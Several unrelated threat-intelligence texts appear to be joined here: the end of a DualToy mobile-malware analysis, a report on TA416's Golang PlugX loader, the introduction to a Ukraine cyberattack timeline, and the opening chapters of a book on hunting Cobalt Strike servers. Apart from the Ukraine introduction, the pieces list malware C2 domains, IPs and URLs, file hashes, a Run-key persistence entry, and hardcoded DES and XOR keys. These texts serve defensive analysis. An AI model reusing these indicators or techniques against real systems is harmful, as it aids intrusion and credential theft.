DualToy will watch for USB connections. Once there’s a valid iOS device connected, it will try to connect to it using iTunes APIs. Like Android, Apple also introduced manual user authorization starting with iOS 7 to prevent sideloading. As it does with Android devices, DualToy will check whether the iOS device was previously paired so that it can reuse existing pairing records.
### Steal iOS device information
After successfully connecting with an iOS device, DualToy will collect device and system information, encrypt them, and send them to its C2 server. The collected information includes:
- Device name, type, version, and model number.
- Device UUID and serial number.
- Device baseband version, system build version, and firmware version.
- Device IMEI.
- SIM card’s IMSI and ICCID.
- Phone number.
### Download and install app
In addition to collecting device information, DualToy also tries to download IPA file(s) from the C2 server and install them on the connected iOS device. The URL it used to fetch the downloading list is http://www.zaccl[.]com/tool/apple/wj_app.xml. During our analysis in April and in August 2016, this URL always returned a single file, “kuaiyong.ipa”. After downloading it, DualToy will copy the IPA file via the AFC service to the iOS device’s /var/mobile/Media/PublicStaging directory, and then install it via the installation_proxy service.
The downloaded kuaiyong.ipa has an obfuscated bundle ID of “pWsbshWBn5XN9kk0twBUECAVt2E.dsE7UfuXZdinV60edM4u1Ul0d6hSf66akdZrmp”. It was signed by an enterprise certificate issued to “Ningbo Pharmaceutical Co., Ltd.” The certificate means the app won’t be successfully installed on iOS devices anymore. However, the attacker could easily change the URL list replied by the C2 server to push other apps.
### AceDeceiver-like behavior
Since the kuaiyong.ipa has an expired certificate, we resigned it with a personal development certificate and then installed it on our testing device. The app is yet another third-party iOS App Store just like “ZergHelper”. It also has exactly the same behavior as AceDeceiver. When launched for the first time, the app will ask the user to input his or her Apple ID and password. The nearby disclaimer says the credentials won’t be uploaded to any server. However, through our reverse engineering and debugging, we discovered the Apple ID and password will be encrypted by DES algorithm by a fixed key of “HBSMY4yF” and 4 of “\x12\x34\x56\x78\x90\xab\xcd\xef”, and sent to the server proxy.mysjzs[.]com after encoding the ciphertext with Base64.
Note that, since the C2 traffic was HTTP instead of HTTPS, and the credential payload was just encrypted by DES with a fixed key, an attacker could sniff network traffic to capture the payload and steal the Apple ID and password in the payload.
## Mitigation
Palo Alto Networks WildFire has successfully blocked its C2 traffic so that it can’t download drivers, malicious payloads, or apps. We have also created an AutoFocus tag to identify known DualToy samples. To prevent similar attacks, we suggest users and organizations deploy both endpoint and network-based malware prevention solutions. We also suggest users avoid connecting their mobile phones to untrusted devices via USB. The popularity and ubiquitous nature of mobile devices ensures malicious attackers will only continue to refine and develop new mobile malware, which means users and organizations will need to employ similar levels of protection and user awareness historically provided to desktops, laptops, and networks.
## Acknowledgements
We would like to thank Zhi Xu and Josh Grunzweig from Palo Alto Networks for their assistance during the analysis.
## Appendix
**SHA-256 of selected samples**
- b028137e54b46092c5349e0d253144e2ca437eaa2e4d827b045182ca8974ed33 jkting.zip
- bbe5fcd2f748bb69c3a186c1515800c23a5822567c276af37585dab901bf550c new5.zip
- 26ff76206d151ce66097df58ae93e78b035b3818c24910a08067896e92d382de NewPhone.dll
- 24c79edc650247022878ddec74b13cf1dc59a6e26316b25054d015bdc2b7efc7 new_tool.zip
- cd432a8a0938902ea3016dae1e60c0a55016fd3c7741536cc9f57e0166d2b1b8 appdata.exe
- 42290cefc312b5f1e4b09d1658232838b72d2dab5ece20ebf29f4d0d66a7879a guardmb
- 7f7a3ed87c63bd46eb8b91a5bb36b399b4eebaf7d01342c13ef695340b9964a6 Mgr_700003.apk
- 9f84665a891e8d9d3af76b44c1965eba605f84768841dfb748cb05ec119ffd9d phonedata.exe
- c8695fe9decbeedfe1f898464b6aa9da511045721c399486d00b889d888c8121 zWDLzv.dll
- f2efc145d7d49b023d97a5857ad144dd03a491b85887312ef401a82b87fb1b84
- c32c64196bb4e038657c3003586563407b5a36db74afb837a5b72f71cf1fadf1 DevApi.dll
- dee13984156d1b59395126fcac09f407ef7c7d7308643019ccee6e22683ea108 insapp.dll
- eae9fda5ca026d2cc0fbdd6f6300d77867dae95a5c1ab45efdb4959684f188d2 insapp.ini
- 899e3c72e2edf720e5d0f3b0dfbf1e2dcc616277c11cf592ab267a9fa0bfbac9 kuaiyong.ipa
**C2 Domains**
- www.zaccl[.]com
- pack.1e5[.]com
- rsys.topfreeweb[.]net
- abc.yuedea[.]com
- report.boxlist[.]info
- tt.51wanyx[.]net
- hk.pk2012.info
- center.oldlist[.]info
- up.top258[.]cn
- dl.dswzd[.]com |
# TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader
**November 23, 2020**
The Proofpoint Threat Research Team
## Executive Summary
Following the Chinese National Day holiday in September, Proofpoint researchers observed a resumption of activity by the APT actor TA416. Historic campaigns by this actor have also been publicly attributed to “Mustang Panda” and “RedDelta.” This new activity appears to be a continuation of previously reported campaigns that have targeted entities associated with diplomatic relations between the Vatican and the Chinese Communist Party, as well as entities in Myanmar. The targeting of organizations conducting diplomacy in Africa has also been observed. Proofpoint researchers have identified updates to the actor’s toolset which is used to deliver PlugX malware payloads. Specifically, researchers identified a new Golang variant of TA416’s PlugX malware loader and consistent usage of PlugX malware in targeted campaigns. As this group continues to be publicly reported on by security researchers, they exemplify a persistence in the modification of their toolset to frustrate analysis and evade detection. While baseline changes to their payloads do not greatly increase the difficulty of attributing TA416 campaigns, they do make automated detection and execution of malware components independent from the infection chain more challenging for researchers. This may represent efforts by the group to continue their pursuit of espionage objectives while maintaining an embattled toolset and staying out of the daily Twitter conversation popular amongst threat researchers.
## Renewed Phishing Activity
After nearly a month of inactivity following publications by threat researchers, Proofpoint analysts have identified limited signs of renewed phishing activity that can be attributed to the Chinese APT group TA416 (also referred to as Mustang Panda and RedDelta). Recorded Future researchers have previously noted historic periods of dormancy following disclosure of TA416’s targeted campaigns. This most recent period of inactivity encompassed September 16, 2020, through October 10, 2020. Notably, this time period included the Chinese National holiday referred to as National Day and the following unofficial vacation period “Golden Week.” The resumption of phishing activity by TA416 included a continued use of social engineering lures referencing the provisional agreement recently renewed between the Vatican Holy See and the Chinese Communist Party (CCP). Additionally, spoofed email header fields were observed that appear to imitate journalists from the Union of Catholic Asia News. This confluence of themed social engineering content suggests a continued focus on matters pertaining to the evolving relationship between the Catholic Church and the CCP.
## PlugX Malware Analysis
Proofpoint researchers identified two RAR archives which serve as PlugX malware droppers. One of these files was found to be a self-extracting RAR archive. For the purposes of this analysis, the self-extracting archive file `AdobelmdyU.exe|930b7a798e3279b7460e30ce2f3a2deccbc252f3ca213cb022f5b7e6a25a0867` was examined. The initial delivery vector for these RAR archives could not be identified. However, historically TA416 has been observed including Google Drive and Dropbox URLs within phishing emails that deliver archives containing PlugX malware and related components. Once the RAR archive is extracted, four files are installed on the host and the portable executable `Adobelm.exe` is executed. The installed files include:
- `Adobelm.exe|0459e62c5444896d5be404c559c834ba455fa5cae1689c70fc8c61bc15468681`: A legitimate Adobe executable used in the DLL side-loading of `Hex.dll`.
- `Adobehelp.exe|e3e3c28f7a96906e6c30f56e8e6b013e42b5113967d6fb054c32885501dfd1b7`: An unused binary that has been previously observed in malicious RAR archives linked to TA416.
- `hex.dll|235752f22f1a21e18e0833fc26e1cdb4834a56ee53ec7acb8a402129329c0cdd`: A Golang binary which decrypts and loads `adobeupdate.dat` (the PlugX payload).
- `adobeupdate.dat|afa06df5a2c33dc0bdf80bbe09dade421b3e8b5990a56246e0d7053d5668d91`: The encrypted PlugX malware payload.
Following RAR extraction, `Adobelm.exe`, a legitimate PE that is used for the DLL side-loading of `hex.dll`, is executed. It calls a PE export function of `hex.dll` named `CEFProcessForkHandlerEx`. Historically, TA416 campaigns have used the file name `hex.dll` and the same PE export name to achieve DLL side-loading for a Microsoft Windows PE DLL. These files served as loaders and decryptors of encrypted PlugX malware payloads. The file would read, load, decrypt, and execute the PlugX malware payload (regularly named `adobeupdate.dat`, as it is in this case). The PlugX malware loader found in this case was identified as a Golang binary. Proofpoint has not previously observed this file type in use by TA416. Both identified RAR archives were found to drop the same encrypted PlugX malware file and Golang loader samples. The Golang loader has a compilation creation time that dates it to June 24, 2020. However, the command and control infrastructure discussed later in this posting suggests that the PlugX malware payload and Golang loader variant were used after August 24, 2020. Despite the file type of the PlugX loader changing, the functionality remains largely the same. It reads the file `adobeupdate.dat`, retrieves the XOR key beginning at offset x00 and continues until it reads a null byte. It then decrypts the payload and finally executes the decrypted `adobeupdate.dat`. This results in the execution of the PlugX malware payload which ultimately calls out to the command and control IP `45.248.87[.]162`. The following registry key is also created during this process which runs at startup establishing the malware’s persistence. Notably, the sample uses the distinct file installation directory “AdobelmdyU”.
**Registry Key**
`HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\AdobelmdyU`
`"C:\ProgramData\Adobe\Adobelm`
## Consistent TA416 Tools
The PlugX malware payload, unlike the Golang loader variant, seems to remain consistent when compared with previous versions. Historical analysis conducted by Avira and Recorded Future has documented that the encrypted PlugX payloads, which have been disguised as data and gif files, are in fact encrypted PE DLL files. These encrypted files contain a hardcoded XOR decryption key that begins at offset x00 and continues until a null byte is read. In this case, the Golang Binary PlugX loader reads the encryption key in the same manner from x00 to null byte, with the hardcoded key ending at offset x09. This represents continued usage of an anti-analysis method which makes the execution of PlugX payloads more complex and complicates the detection of command and control infrastructure which the malware communicates with.
**Hardcoded Decryption Key / Byte Sequence**
`66 59 50 6C 79 73 43 46 6C 6B`
Following decryption, the resulting file reflects a valid PE header for the PlugX malware payload. Shellcode appears between the MZ header and the DOS message. The function of this shellcode is to write the PE DLL into RWX memory and begin execution at the beginning of the file. This establishes an entry point for the payload and prevents an entry point not found error when executing the malware. This is a common technique observed by many malware families and is not exclusive to TA416 PlugX variants. This shellcode is unlikely to appear in legitimate software DLLs.
## Command and Control Infrastructure
The command and control communication observed by these PlugX malware samples are consistent with previously documented versions. The C2 traffic was successfully detected by an existing Proofpoint Emerging Threats Suricata signature for PlugX malware which is publicly available as part of the ET OPEN public ruleset. The following IP and example command and control communication URLs were identified:
- `45.248.87[.]162`
- `hxxp://45.248.87[.]162/756d1598`
- `hxxp://45.248.87[.]162/9f86852b`
Further research regarding the command and control IP indicated that it was hosted by the Chinese Internet Service Provider Anchnet Asia Limited. It appeared to be active and in use as a command and control server from at least August 24, 2020, through September 28, 2020. It is notable that this time period predates the period of dormancy discussed above that likely resulted from Recorded Future’s publication on TA416 activity. Additionally, it indicates that this server ceased being used during this dormancy period possibly indicating an infrastructure overhaul by actors during this time.
## Conclusion
Continued activity by TA416 demonstrates a persistent adversary making incremental changes to documented toolsets so that they can remain effective in carrying out espionage campaigns against global targets. The introduction of a Golang PlugX loader alongside continued encryption efforts for PlugX payloads suggest that the group may be conscious of increased detection for their tools and it demonstrates adaptation in response to publications regarding their campaigns. These tool adjustments combined with recurrent command and control infrastructure revision suggests that TA416 will persist in their targeting of diplomatic and religious organizations. While the specifics of the tools and procedures have evolved, it appears their motivation and targeted sectors likely remain consistent. TA416 continues to embody the persistent aspect of “APT” actors and Proofpoint analysts expect to continue to detect this activity in the coming months.
## IOCs
| IOC | Type | Description |
|-----------------------------------------------------------------------------------------------------|--------|-------------------------------------------------------|
| `930b7a798e3279b7460e30ce2f3a2deccbc252f3ca213cb022f5b7e6a25a0867` | SHA256 | `AdobelmdyU.exe` |
| `6a5b0cfdaf402e94f892f66a0f53e347d427be4105ab22c1a9f259238c272b60` | SHA256 | `Adobel.exe` |
| `0459e62c5444896d5be404c559c834ba455fa5cae1689c70fc8c61bc15468681` | SHA256 | `Adobelm.exe` |
| `235752f22f1a21e18e0833fc26e1cdb4834a56ee53ec7acb8a402129329c0cdd` | SHA256 | `hex.dll` |
| `e3e3c28f7a96906e6c30f56e8e6b013e42b5113967d6fb054c32885501dfd1b7` | SHA256 | `AdobeHelp.exe` |
| `afa06df5a2c33dc0bdf80bbe09dade421b3e8b5990a56246e0d7053d5668d917` | SHA256 | `adobeupdate.dat` |
| `45.248.87[.]162` | C2 IP | Command and control IP |
| `HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\AdobelmdyU` | RegKey | Registry Key that establishes PlugX malware persistence |
**Emerging Threats Signatures**
2018228 - et trojan possible plugx common header struct |
# UKRAINE: Timeline of Cyberattacks
**February 24, 2022**
Against the backdrop of the military invasion of Ukraine, the CyberPeace Institute is tracking how cyberattacks and operations are, and have been, targeting critical infrastructure and civilian objects. In recent weeks there has been a significant escalation in the number of reported cyberattacks against Ukrainian institutions, organizations, including humanitarian NGOs, and the wider population. Ukraine is no stranger to being on the receiving end of cyberattacks, and the timeline below tracks the most significant incidents to date.
## The importance of tracking cyberattacks in Ukraine
The tracking of cyberattacks and incidents as they become public is important in order to record these attacks and identify – where possible – the harm and risks for civilian populations. Cyberattacks affect people and risk lives. In the future, it will be important to use the information on cyberattacks to identify developments or clarifications of the law in relation to the use of cyber operations in armed conflicts, and for accountability including in any future judicial proceedings.
## Harm caused by cyberattacks during an armed conflict
The targeting of critical infrastructure raises particular concern as this infrastructure is essential for the survival of the civilian population. Attacks on infrastructure such as energy, water, healthcare, financial institutions, transport, and communication services can have devastating consequences on the civilian population. NGOs responding to the humanitarian needs of the population in Ukraine and neighboring countries are targeted by cyberattacks in order to disrupt their activities. Beyond the risks to critical infrastructure and civilian objects, cyberattacks sow distrust and limit access to accurate information or spread false information. They can also be highly disruptive and create a sense of fear and uncertainty and even lead to the eventual displacement of people.
## Civilian populations are protected under international humanitarian law
The important legal principles of distinction (distinguish at all times between military objectives and civilian objects) and proportionality (prohibit attacks expected to cause excessive civilian harm) have a direct bearing on cyber operations during armed conflicts in order to protect the civilian population against the effects of such operations.
## Frequently Asked Questions on the laws of armed conflict with a focus on cyber
The CyberPeace Institute’s mission is to reduce the scale and frequency of cyberattacks against vulnerable communities, provide assistance, and advocate for respect of laws and norms. Thus, documenting cyberattacks is important to understand the harm caused to people. The CyberPeace Builders program is a trustworthy volunteer network designed to help humanitarian NGOs strengthen their cybersecurity.
## Call for Support from the CyberPeace Institute
Crucial to the work of the Institute are open source research by our small team of experts. Can you support the Institute’s data collection? If you have the capabilities to support our ongoing work to collect data on cyberattacks related to the armed conflict in Ukraine and/or cases of cyberattacks against the healthcare sector and humanitarian NGOs, we would appreciate hearing from you. We seek online volunteers who can dedicate a few hours of their time and expertise to support the work of the Institute. Find out more by contacting [email protected]. |
# FINDING BEACONS IN THE DARK
## A Guide to Cyber Threat Intelligence
### About the Authors
**T.J. O’Leary** – Principal Threat Researcher
T.J. is a Principal Threat Researcher with the Threat Hunting & Intelligence team at BlackBerry. He holds an MSc in Forensic Computing and Cybercrime Investigation and a BEng in Electronic Engineering. He began his career in the military and has a background in system administration, networking, security operations, malware analysis, and reverse engineering. In his spare time, he enjoys watching motorsport, training martial arts, and spending time with his wife and kids.
**Tom Bonner** – Distinguished Threat Researcher
Tom has over two decades of experience in the cybersecurity/anti-malware industry. From reverse engineering malware and developing detection technologies to incident response, DFIR, and threat intelligence, he enjoys tackling complex R&D problems across the cybersecurity landscape. Tom resides in the English countryside with his wife and two children.
**Marta Janus** – Distinguished Threat Researcher
Marta is a reverse engineering expert and enthusiast with more than 12 years of experience in cybersecurity, currently focused on tracking high-profile threat actors and campaigns. Besides hunting for sophisticated malware and dissecting it, Marta enjoys hiking, philosophy, and holds a master’s degree in archaeology.
**Dean Given** – Senior Threat Researcher
Dean is a Senior Threat Researcher within the Threat Hunting & Intelligence team at BlackBerry. He holds an MSc in Cybersecurity and a BSc (Hons) in Computer Security & Digital Forensics. He has 7+ years of experience across various roles in cybersecurity and has a background in Security Operations, Network Security, Malware Analysis, and Reverse Engineering. In his spare time, he enjoys watching sports, golfing, and is an avid movie fan.
**Eoin Wickens** – Threat Researcher
Eoin holds a BSc (Hons) in Computer Systems from Cork Institute of Technology, graduating with multiple academic awards including the IBM Prize. He finds both enjoyment and purpose in reverse engineering malware, software engineering for analysis automation, and anything to do with triathlon. Eoin’s work specializes in Threat Hunting & Intelligence, helping to stay one step ahead of the bad guys through a variety of creative and effective means.
**Jim Simpson** – Director of Threat Intelligence
Jim is the Director of Threat Intelligence at BlackBerry. He has over 15 years of experience working the full gamut of security roles before joining Cylance and then BlackBerry, doing what he can to help his team do what they do best, and snowboarding whenever he gets the chance.
### About the Editors
**Natasha Rohner** – Senior Managing Editor
Natasha spent six years at the helm of ThreatVector, BlackBerry’s award-winning cybersecurity blog, working closely with the Research & Intelligence team to produce threat research deep-dives and white papers. An avid science fiction fan, she has also published eight novels for large media companies such as Rebellion and New Line Cinema, including the official book adaptations of Hollywood movie blockbusters such as Blade, Final Destination, and Nightmare on Elm Street. Her original horror trilogy Dante’s Girl was published by Solaris, a division of UK gaming giant Games Workshop.
**Lysa Myers** – Principal Threat Researcher
Lysa began her cybersecurity career in a malware research lab in the weeks before the Melissa virus outbreak in 1999. As the industry has evolved, she’s moved from threat research to security education. As part of the BlackBerry Research & Intelligence Team, she uses her unique perspective to help make threat research more accessible. She and her spouse live on a hobby farm in the Pacific Northwest, with an assortment of miniature farm animals.
**Steve Kovsky** – Editorial Director
Steve Kovsky is responsible for BlackBerry’s global corporate communications content strategy, including thought leadership publications, blogs, social media, and customer advocacy. He spent more than 20 years as a professional journalist, covering all aspects of information technology in print, radio, television, and online. In 2013, he went over to “The Dark Side” (aka marketing) as head of content for Websense/ForcePoint, then Director of Digital Content and Executive Communications for CrowdStrike.
### About the Reviewers
**Mark Stevens** – Technical Director, Incident Response
Mark has over two decades of industry experience with the last 13 dedicated to cybersecurity. He started his security career at JP Morgan Chase and has worked for several industry leaders including Mandiant and IBM. Mark now leads the BlackBerry international incident response (IR) team.
**Seagen Levites** – Senior Director, Data Architecture
Seagen has been working in cybersecurity from the time Y2K was considered a threat. He operated in the endpoint and endpoint management space before moving to research, automated malware analysis, and then joining Cylance as employee #20.
**David Beveridge** – Vice President of Research Engineering
David Beveridge began his career in software development 23 years ago, and he switched to a cybersecurity focus in 2004. Armed with the audacious idea that handsets would soon begin to replace computers, he started down the road of Artificial Intelligence development in the InfoSec world, which eventually led him to join Cylance and then BlackBerry. He holds 13 patents in Computer Science, including 11 in the field of AI.
---
## Introduction
Cobalt Strike provides adversary simulation and threat emulation software that is widely used by red teams and heavily abused by malicious threat actors. It has become a highly prevalent threat, employed by a vast number of Advanced Persistent Threat (APT) and cybercrime groups across the globe.
It is easy to see why this is the case, as it is fully featured and well-documented. From reconnaissance and spear-phishing to post-exploitation and covert communications, Cobalt Strike is feature-rich, well supported, and actively maintained by its developers. Beacon, Cobalt Strike’s primary payload, provides a wealth of features for attackers, which facilitate:
- Reverse shells and remote command execution
- Keylogging and screenshots
- Data exfiltration
- SOCKS proxying
- Pivoting
- Privilege elevation
- Credential and hash harvesting
- Port scanning and network enumeration
For a lot of legitimate as well as criminal organizations, leveraging Cobalt Strike can be cheaper and faster than developing their own tooling. At the time of writing, licensing starts at $3,500 per license per year. If you are an unscrupulous bad actor who is using a cracked or leaked copy, the cost goes down to literally nothing.
From a threat intelligence or law enforcement perspective, Cobalt Strike’s widespread use can often make the task of attribution more challenging, and the current upward trend in utilization is not showing any sign of decline.
Proofpoint researchers recently reported a 161% year-over-year uptick in the use of Cobalt Strike by cybercriminals. It has become a perennial problem for security practitioners, requiring robust solutions that can aid in providing both defensive capabilities and enhanced threat intelligence.
On the defensive side of things, the best thing we can do to tackle the challenge of combating the rogue use of Cobalt Strike is to have solid processes in place. These processes need to be not only well thought out but also driven by data.
### The Role of Cyber Threat Intelligence in XDR
We have defined a robust Cyber Threat Intelligence (CTI) lifecycle that considers stakeholders for all products and services across the extended detection and response (XDR) solution space. Over the course of this book, we’ll guide you through our lifecycle and use Cobalt Strike as a practical hands-on case study.
You may ask, what is XDR? XDR is a fairly new term and one that a lot of folks are not yet familiar with. This is how IT consulting firm Gartner has defined it:
“XDR is a SaaS-based, vendor-specific, security threat detection and incident response tool that natively integrates multiple security products into a cohesive security operations system that unifies all licensed components.” - Gartner
At its core, XDR is a data ingestion and enrichment strategy. This means that it ingests telemetry from cybersecurity products and services, as well as insights from threat intelligence teams and information from third-party sources. This data is then stored in a data lake, which is essentially a storage solution for raw data on any scale. The ingested data is then further processed to create additional context, which then drives intelligence-based threat detection and correlation of incidents and alerts for all XDR products and services.
So why does XDR matter in the context of this book? Well, the automated ingestion and correlation of intelligence data helps to decrease the burden of “alert fatigue” for Security Operations Center (SOC) analysts and incident responders. By providing more contextual information concerning incidents and alerts, incident responders are better informed to react swiftly and decisively. In addition, the data can be used for the automation of Incident Response (IR) Playbooks, to help orchestrate workflows and processes during incidents.
### So, You Want to Gather Cyber Threat Intelligence?
**What will you find in this book?**
In this book, the BlackBerry Research & Intelligence Team presents a system for hunting the Internet for instances of Cobalt Strike Team Server, which is the C2 server for one of the most pervasive threats deployed by modern threat groups: Cobalt Strike Beacon.
In addition, we present our Cyber Threat Intelligence (CTI) lifecycle, which outlines our multi-phase approach to building intelligence-led protection for products and services underpinning most XDR products and services. The lifecycle outlines the following phases:
- Project planning and direction
- Data collection, processing, analysis, and dissemination
- Continuous improvements via evaluation and feedback
By following our CTI lifecycle to hunt for Team Servers, and extracting configurations from the Beacon payloads they serve, we aim to demonstrate how you can leverage the resulting dataset to provide powerful intelligence insights. These insights can help to reveal clusters of servers associated with known threat groups and campaigns, as well as links between them that were previously unseen, empowering you to expose correlations between seemingly disparate network infrastructure.
Finally, the resulting intelligence can also be leveraged to provide actionable Indicators of Compromise (IOCs) to all XDR stakeholders, including defenders, hunters, analysts, and investigators alike. These will help you to:
- Defend your organization
- Produce in-depth CTI reports
- Better understand the threat landscape
- Give better advice to your C-level executives and security teams so that they can make well-informed security-oriented decisions
**Who is this book for?**
This book is for anyone with an interest in gathering Cyber Threat Intelligence, those who want to further their understanding of Cobalt Strike, or those who simply enjoy a good technical read. That said, the people who might derive the most reward from this book may include:
- Threat Intelligence Analysts
- Threat Hunters
- Incident Responders
- Forensic Investigators
- SOC Analysts
- Red Teamers
**How can you benefit?**
By defining a CTI lifecycle, we present a blueprint to help you with creating one that fits your own needs. It can also be used to help build your own automation platform for harvesting and disseminating cyber threat intelligence.
Walking you through our lifecycle, we begin the collection phase by hunting for active Cobalt Strike Team Servers. Once the true cyber adversaries’ Team Server instances are identified, it gives us a unique opportunity to reveal trends and patterns within the data. These insights can help to perform a variety of useful things, such as:
- Building profiles of threat actors
- Broadening knowledge of existing threat groups
- Tracking both ongoing and new threat actor campaigns
- Providing actionable intelligence to SOC analysts and IR teams
- Fine-tuning security products and services under the XDR umbrella
While we use the example of Cobalt Strike in this book, we hope this exercise sparks your imagination and inspires you to use this for other threat intelligence quests. This industry thrives because it is populated by so many individuals who are passionate about the sharing of information, including tools, tips, and techniques. By adding our contribution, we hope to keep this altruistic tradition alive.
All these things aside, we hope that in reading this book you may learn a thing or two, have a laugh along the way, or even gain insight into our processes for the purposes of competitive intelligence!
**Why are we writing about it now?**
The unfortunate reality is that the rate of cyber intrusions has grown exponentially in recent years, with high-profile ransomware attacks becoming a staple feature of the daily news cycle. The ease with which threat actors can arm themselves with advanced adversarial tooling means that what was once quite a complex affair is now nearly effortless. In some cases, it is as simple as copying and pasting a few commands and pressing a few buttons, as we saw with the leaked Conti ransomware playbook.
While not the only culprit, Cobalt Strike Beacon has been the common denominator in these attacks time and again. Lesser-financed and lesser-resourced groups – as well as those just looking to blend in with the crowd – need look no further than cracked, leaked, or trial versions of Cobalt Strike. The low barrier to entry this provides, with the ease of propagation through botnets and other distribution services, has acted as a catalyst for the ransomware epidemic and expedited its rate of growth.
To improve our own intelligence-led protection and correlation of malicious instances of these components, BlackBerry created an automated system to scan for Cobalt Strike Team Servers. It downloads Beacons, then extracts and stores their configurations for further processing, analysis, and dissemination.
The aim of this book is to aid the security community by sharing this knowledge, presenting the steps we’ve taken to create this automated system, and most importantly, demonstrating how to derive meaningful threat intelligence from the resulting dataset. This information can then be used to provide insights, trends, and intelligence on threat groups and campaigns.
**How is this book organized?**
This book is organized into six chapters. It begins with an introduction to our CTI lifecycle, where we outline our processes and methodologies. Next, we’ll delve into the specifics of how to develop a system to perform automated hunting of Cobalt Strike Team Servers, which can yield useful and meaningful intelligence data.
We will then introduce Cobalt Strike Beacon and its configuration profiles, as well as a full table of configuration options and common values for quick reference. We will use the resulting knowledge and dataset to dig deeper into insights and identify trends, uncovering some unexpected revelations along the way.
Finally, we will enrich our dataset with open-source intelligence (OSINT) using our Threat Intelligence Platform (TIP), and look to uncover new correlations and groupings, before circling back to reassess our CTI objectives and findings in a debrief.
---
## Chapter 1 – Beyond the Hype
### Cyber Threat Intelligence
The most visible aspects that many people associate with CTI are the cool names and awesome logos given to vulnerabilities and threat actors such as HeartBleed, Shellshock, OceanLotus, and even Squirrel Waffle. More than that, CTI is a discipline, albeit one in its infancy. And as such, it needs a little formalizing.
Recent advances in cybersecurity technology, such as XDR, certainly necessitate the need for more formal and mature processes. CTI is now widely used to underpin XDR solutions. This means that intelligence insights are leveraged to enhance protection and correlation, leading to an increased efficacy for security products and a reduction in alert fatigue for SOCs. We call this intelligence-led protection and correlation.
The current CTI landscape draws from multiple sources, including the military, intelligence agencies, universities, and the private sector, to name a few. All these influences have offered significant improvements to what was once simply termed “threat research,” and have helped to evolve CTI processes, workflows, and paradigms in a short period of time. The speed of development in this area inevitably leads to some confusion and a lack of consensus on the right way to approach CTI creation.
We’d love to say we have the silver-bullet solution for how to do it properly. In reality, this book aims to highlight some of the common phases and most critical areas so that we are all on the same page (no pun intended). When you get hooked on CTI and want to improve your organization’s program, there are numerous resources, such as books, papers, talks, blogs, and training programs that can help you.
Understanding CTI as a lifecycle – where people, processes, and technology work in harmony – will lead to the production of intelligence that can be used to assess risk, identify threats, and make informed decisions. And if you insist, you can even give that intelligence product a cool name and a supervillain-esque personification.
Now that we’ve introduced the concept of CTI, almost everyone will have a different interpretation of what that means. To avoid any misunderstandings, here is our working definition of CTI that will help you to understand what we are all trying to achieve:
“Cyber Threat Intelligence collects information to answer specific questions (such as who, what, where, when, how, or why) about a person or thing that is likely to cause damage or danger to computers or networked systems.”
That’s kind of wordy, so feel free to take the sentiment and create your own definition for your organization. It’s important to have a well-understood definition that works for you.
Having both your team and management coalesce around a well-formed idea is hugely beneficial. It keeps everyone focused on achieving their goals, while management is clear on the outcomes the team will deliver. Having defined our deliverables, let’s put some thought into how to do it. While there is a great deal of creative thinking involved in CTI, it should not be the sole requirement of the team. Without a defined framework, creative thinking can spark inspiration, but it will have no way of following through on its promise.
By agreeing on a framework, and then developing the people, processes, and tooling to support its execution, team members will be able to understand their responsibilities on a tactical and strategic level. The ideal situation is to have well-trained people follow a repeatable process that is supported by the appropriate tooling, which aligns with a scientific methodology. If you achieve this, it will enhance (rather than rely on) the intuition of individuals.
### Our CTI Lifecycle for an XDR World
There are many versions of the CTI lifecycle. The one we choose to use is adapted from multiple lifecycles and allows us to build repeatable, iterative processes to support the production of intelligence that works for all stakeholders in our organization.
This section is not meant to be the definitive CTI lifecycle. We hope that it will spawn ideas that you can assess for your own organization and help inform the lifecycle you choose to follow. It also serves as scaffolding for further information laid out in this book.
Each of the processes, scripts, and analyses discussed in this book can be tied back to a distinct phase of the lifecycle. Thinking of it in this way can provide order to what might seem to be chaos. (If not chaos, then maybe Thanos, chaos’ older, more-chaotic sibling.)
The lifecycle we describe in this section isn’t prescriptive in terms of the processes or technology required. That’s all up to you to decide. The framework we’re providing allows you to decide the appropriate people, processes, and technology that work best to accomplish the goals of each phase.
Likewise, there is no set number of processes to include in each of the phases. It all depends on what is needed to achieve your intelligence requirements.
### Planning & Direction
During the planning and direction phase of the CTI lifecycle, we like to set up two key components:
- The question (or questions) to be answered
- The audience who requires the answer(s)
That sounds easy, right? That’s why this phase is often overlooked or poorly thought through. But the results of paying mere lip service to planning and direction will haunt you.
Getting this phase right will lead to greater efficiency and focus for your team, as well as a better intelligence product for your audience. This is the best chance to rid yourselves of ambiguity and assumptions about what you are trying to achieve.
Thinking back to the description of CTI, the statement, “collects information to answer specific questions” stands out. The planning and direction phase is where you define the question you are going to answer throughout the rest of the lifecycle. Everything you do should be focused on answering the question defined in this phase.
While we are talking about questions; not all questions are created equal when it comes to intelligence requests. Questions that are generally narrow in scope and those which form a closed loop work better. They help us by creating tailored knowledge to support specific decisions the individual or group is looking to make.
Understanding the difference between broad and closed-loop questions can be a little tricky, so let’s look at some example questions:
**What is the biggest cyber threat today?**
This question is too broad. Simply put, there are too many different ways to answer it. People can reasonably have different interpretations of what is required. For example: How do you define “cyber threat?” How do you define “biggest?” Who is the target that you’re most concerned with? As there is no focus around what is required, the resulting product will not be useful in supporting any meaningful decision. This might feel satisfying to explore, but for practical purposes, it will be wasted effort.
A more closed-loop example might be:
**What public-facing vulnerabilities have been most commonly exploited in the last three months?**
This question is very specific. It clearly delineates what threat we’re concerned with (public-facing vulnerabilities), what aspect of it is most relevant (most commonly exploited), and it gives a limited timeframe (three months).
While you don’t necessarily need to have this much specificity, the more information you can include in the question, the better your answer will be. This kind of question will result in the team understanding what is required of them, which means less chance of researchers going off-track. The answer will lead to actionable intelligence and may still be quite satisfying to explore.
Having this narrow focus when producing the intelligence product is key to keeping your team on track to produce what is needed. This is where things can get a little nuanced; during the process of answering the question, the team is going to have to work with a lot of data. Some portion of this data may not be relevant to the question being set. But if your team has taken the time to collect, process, and analyze this data, don’t waste that work (you might just get a book out of it!).
In the world of XDR, this data has its place and should not be discarded as waste. To illustrate the point; while refining sugar cane into sugar, one byproduct of the process is molasses. Where sugar is the sweet and shimmering answer to the question, the mineral-rich molasses is the analyzed data that is irrelevant to the desired outcome.
Other teams will be able to make use of this gooey goodness, and they can make something truly valuable out of it. Spread the love and find the teams in your organization that can make the best use of the results of your hard work.
